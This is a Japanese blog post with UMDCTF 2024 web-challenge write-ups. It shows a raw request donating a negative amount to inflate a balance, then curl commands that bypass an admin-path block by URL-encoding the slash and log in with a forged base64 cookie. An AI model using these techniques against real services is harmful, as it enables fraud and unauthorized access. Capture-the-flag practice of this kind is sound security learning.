はまやんはまやんはまやん

hamayanhamayan's blog

UMDCTF 2024 Writeups

https://ctftime.org/event/2323

web/Donations

ソースコード無し。
寄付できるサイトが与えられる。

POST /api/donate HTTP/2
Host: donations-api.challs.umdctf.io
Cookie: session=eyJ1c2VybmFtZSI6ICJldmlsbWFuIn0=.ZixWKQ.YTGpGoytWnjqiFg2fW68pNtuml8
Content-Length: 30
Content-Type: application/x-www-form-urlencoded

to=lisanalgaib&currency=-10000

以上のようにマイナスの値で寄付をするとお金が増えて、この状態で自分のページに行くとフラグがもらえた。

web/Donations (but I fixed it) あきらめ

ソースコード無し。
色々試したが分からん。

Discordを見るとtoを複数やると検証を回避して違う人に送れるっぽい。ふむ。

web/HTTP Fanatics

一部、main.pyとmain.rsというソースコード有り。

HTTP/3での通信が必要。それ以外でつないでいくとHTTP/3でつないでと言われる。
curlではEXPERIMENTALな実装らしいので、誰かがビルドしてくれたものを雑に使って接続した。
(推奨するわけではないので使ったアプリは紹介しない)

とりあえず $ ./curl --http3-only https://http-fanatics.challs.umdctf.io でいい感じに表示ができた。

main.pyの以下で登録処理ができるのでやってみる。

@app.post("/admin/register")
def register(user: Registration):
    if not re.match(r"[a-zA-Z]{1,8}", user.username):
        return Response(status_code=400, content="Bad Request")

    users[user.username] = user.password
    return Response(status_code=204)

ということで以下のようにする。

$ ./curl --http3-only https://http-fanatics.challs.umdctf.io/admin/register -X POST -d '{"username":"evilman","password":"sadfjk234jisdfjksdafjisad"}' -H "Content-Type: 
application/json"
Unauthorized

Unauthorizedと言われますね。
HTTP/3部分を担当しているmain.rsの実装を見てみる。

    if request.uri().path() == "/admin/register" {
        stream.send_response(Response::builder().status(StatusCode::UNAUTHORIZED).body(()).unwrap()).await?;
        stream.send_data(Bytes::from("Unauthorized")).await?;
        stream.finish().await?;
        return Ok(());
    }

ブロック処理がありました。これを回避する必要がある。
これは単純にadmin/registerをURLエンコードしてadmin%2fregisterとすることで回避できた。
完全に想像だが、

  /admin%2fregister         /admin/register   
          ┌─────────────┐      ┌─────────────┐
─────────►│             ├─────►│             │
          │  main.rs    │      │   main.py   │
◄─────────┼─────────────┼──────┤             │
          └─────────────┘      └─────────────┘

多分こんな感じで処理されてうまくいく。
誰がURLデコードしているかは不明だが、fastapiだろう。(無根拠)

これで登録処理が完了したので、main.pyの以下の部分にあるようにログインしてみる。

@app.get("/dashboard")
def dashboard(credentials: Annotated[str | None, Cookie()] = None):
    if not credentials:
        return Response(status_code=401, content="Unauthorized")

    user_info = json.loads(base64.b64decode(credentials))
    if user_info["username"] not in users or user_info["password"] != users[user_info["username"]]:
        return Response(status_code=401, content="Unauthorized")

    with open("static/dashboard.html") as dashboard_file:
        return HTMLResponse(content=dashboard_file.read())

ということなので、

$ ./curl --http3-only https://http-fanatics.challs.umdctf.io/dashboard -b "credentials=eyJ1c2VybmFtZSI6ImV2aWxtYW4iLCJwYXNzd29yZCI6InNhZGZqazIzNGppc2RmamtzZGFmamlzYWQifQ=="
<html>
<head>
    <title>HTTP Fanatics - Dashboard</title>
</head>
<body>
<h1>HTTP Fanatics - Registered Member Dashboard</h1>
<p>Flag: UMDCTF{■■■■■■■■■■■■■■■■■■■■■■}</p>
</body>
</html>

フラグが得られた。

web/UMDProxy 解いてない

ソースコード無し…